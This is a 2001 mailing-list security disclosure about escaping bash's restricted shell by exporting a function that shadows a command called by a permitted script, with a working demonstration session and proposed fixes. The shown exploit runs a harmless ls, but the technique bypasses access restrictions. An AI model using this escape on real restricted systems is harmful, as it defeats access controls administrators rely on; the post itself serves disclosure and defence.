security problem in restricted shell?

[Nadav Har'El]

I think I found a serious security problem in bash's implementation of a
restricted shell, when combined with badly written scripts in the allowed
PATH. I include a suggested interim workaround for people affected by this
hole, and a fix to bash to get rid of this hole.

I tested this on Redhat 7.1's bash (2.04.21(1)), but I didn't see anything
on the changelog which fixed it since.

The problem is that bash, even when in restricted shell mode, allows exporting
functions. Some programs in the allowed PATH might be shell scripts, probably
bash scripts - now if these scripts run commands without full pathnames
(e.g., "cat" instead of "/bin/cat"), they might end up running the
restricted user's function in a non-restricted shell, letting him run anything
under the restricted shell.

Consider the following example: (my commentary are in <, >'s)

<I run bash -r. I'm now in a restricted shell, but with a full PATH so I
 can run stuff - but I want to show you how I can run stuff I'm not supposed
 to, like "/bin/ls" (I shouldn't be able to run things beginning with /)
>

$ /bin/ls
bash: /bin/ls: restricted: cannot specify `/' in command names

<try1 is one of the scripts that the restricted users is allowed to run>
$ cat try1
#!/bin/bash
#this is just a silly script using cat, not /bin/cat:
cat /tmp/file

$ try1
cat: /tmp/file: No such file or directory

$ cat(){ echo OOPS...; /bin/ls; }
$ typeset -xf cat

$ cat
OOPS...
bash: /bin/ls: restricted: cannot specify `/' in command names

<but, for the finale:>

$  try1
OOPS...
a.out                                         n843.ps.gz       xx
backup                                        nyh              z
file7wNJnR                                    orbit-nyh        z.c
fsplit.c.Z                                    orbit-root       z.o
fsplit.c.Z.2                                  playlist502.m3u  z.perl
gsrvdir500                                    q.c

What a disaster... The user's "cat" function can do anything...

The best fix I can think of is to disable exporting functions in a restricted
shell.

Interim fixes: (for systems using a bash restricted shell, and need a fix
quickly without touching the bash source code):

 1. by disabling (enable -n) the 'typeset', 'export', 'declare', 'set',
    'shopt' (to disable 'set -o allexport' or 'shopt -os allexport'), and
    'enable' commands, restricted users will not be able to export functions.
    Did I miss any command which allows to export functions?

 2. (unnecessary if fix 1 works, but should be done for extra safety)
    Make sure all bash-scripts callable by the restricted user specify full
    path names on all commands. This includes any commands run by system()
    calls in C programs, exec calls and pipes in TCL and perl scripts, and so
    on!


Please CC replies to me, because I'm not on this list.
Thanks.

-- 
Nadav Har'El                        |      Monday, Jul  9 2001, 18 Tammuz 5761
nyh@math.technion.ac.il             |-----------------------------------------
Phone: +972-53-245868, ICQ 13349191 |Live as if you were to die tommorrow,
http://nadav.harel.org.il           |learn as if you were to live forever.